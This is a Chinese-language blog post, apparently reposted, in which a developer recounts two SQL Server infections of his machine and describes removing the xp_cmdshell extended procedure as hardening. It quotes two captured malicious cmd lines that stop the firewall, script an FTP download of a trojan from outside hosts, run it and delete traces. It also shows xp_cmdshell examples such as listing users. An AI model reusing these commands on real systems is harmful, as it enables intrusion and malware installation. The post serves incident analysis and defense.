Sql server注入方式與安全防護(hù)的學(xué)習(xí)
來源:程序員人生 發(fā)布時(shí)間:2014-05-30 18:47:28 閱讀次數(shù):2948次
建站學(xué)院轉(zhuǎn)載 自己的開發(fā)機(jī)經(jīng)歷了兩次的中毒現(xiàn)像.每次中毒的現(xiàn)像,都是sqlserver.exe進(jìn)程去執(zhí)行cmd.com進(jìn)程,然后生成*.sys與*.bat兩個(gè)文件,然后去使用ftp.exe去下載木馬下載器,然后殺毒軟件開始報(bào)警了.
下面是cmd.com執(zhí)行指令內(nèi)容
"C:"WINDOWS"system32"cmd.com" /c net1 stop sharedaccess&echo open 218.61.11.97>dboy.sys&echo 11>>dboy.sys&echo 11>>dboy.sys&echo get pc.exe C:"boots.exe>>dboy.sys&echo bye>>dboy.sys&echo ftp -s:dboy.sys>dboy.bat&echo copy C:"boots.exeC:"WINDOWS"system32"inf"test.exe&echo start start /high "" C:"WINDOWS"system32"inf"test.exe&echo start C:"boots.exe>>dboy.bat&echo start C:"boots.exe>>dboy.bat&echo del dboy.sys>>dboy.bat&echo del %0>>dboy.bat&dboy.bat
"C:"WINDOWS"system32"cmd.com" /c sc stop sharedaccess&echo open ddosboy1.3322.org >dboy1.sys&echo dboy>>dboy1.sys&echo if>>dboy1.sys&echo get dboy1.exe C:"Windows"tcpsrv1.exe>>dboy1.sys&echo bye>>dboy1.sys&echo ftp -s:dboy1.sys>system1.bat&echo start C:"Windows"tcpsrv1.exe>>system1.bat&echo start C:"Windows"tcpsrv1.exe>>system1.bat&echo del dboy1.sys>>system1.bat&echo del %0>>system1.bat&system1.bat |
第一次中毒,之后,就對(duì)sql server進(jìn)行了加強(qiáng),刪除了"xp_cmdshell"這個(gè)sql server中最不安全的擴(kuò)展存儲(chǔ)過程.不過,好了沒一個(gè)月,又來中一次.
這一次,我檢查了數(shù)據(jù)庫日志,xp_cmdshell并沒有恢復(fù),不過卻在日志在發(fā)現(xiàn)了sp_oacreate與sp_oamethod兩個(gè)存儲(chǔ)過程的執(zhí)行日志.
于是上網(wǎng)學(xué)習(xí),把自己的學(xué)習(xí)的一些東西記錄下來:
一
. 初級(jí)sql注入攻擊 初級(jí)黑客攻擊SQL Server時(shí),首先采用的方法是執(zhí)行master數(shù)據(jù)庫中的擴(kuò)展存儲(chǔ)過程xp_cmdshell命令來執(zhí)行一些指令,添加用戶,添加文件,添加木馬病毒等.
對(duì)付此類黑客只要禁用xp_cmdshell存儲(chǔ)過程就可以了.
xp_cmdshell是一個(gè)允許執(zhí)行任意的命令行命令的內(nèi)置的存儲(chǔ)過程。例如:
Exec master..xp_cmdshell 'dir'
將獲得SQLSERVER進(jìn)程的當(dāng)前工作目錄中的目錄列表。如圖:
Exec master..xp_cmdshell 'net user'
將提供服務(wù)器上所有用戶的列表。當(dāng)SQLSERVER正常以系統(tǒng)帳戶或域帳戶運(yùn)行時(shí),攻擊者可以做出更嚴(yán)重的危害。
從上面的兩個(gè)示例中可以看出xp_cmdshell的強(qiáng)大功能,功能的強(qiáng)大也意味著破壞性的強(qiáng)大.
一般情況下,xp_cmdshell對(duì)管理員來說也是不必要的,xp_cmdshell的消除不會(huì)對(duì)Server造成任何影響。
可以將xp_cmdshell消除:
Use Master
Exec sp_dropextendedproc 'xp_cmdshell'
Go
如果需要的話,可以把xp_cmdshell恢復(fù)回來:
Use Master
Exec sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
Go
如果有必要可以把xplog70.dll這個(gè)文件也刪除了,記得做好備份.
刪除了xplog70.dll將影響到"企業(yè)管理器"的一部分功能,我碰到的是無法在"企業(yè)管理器"中查看數(shù)據(jù)庫服務(wù)器的屬性.
生活不易,碼農(nóng)辛苦
如果您覺得本網(wǎng)站對(duì)您的學(xué)習(xí)有所幫助,可以手機(jī)掃描二維碼進(jìn)行捐贈(zèng)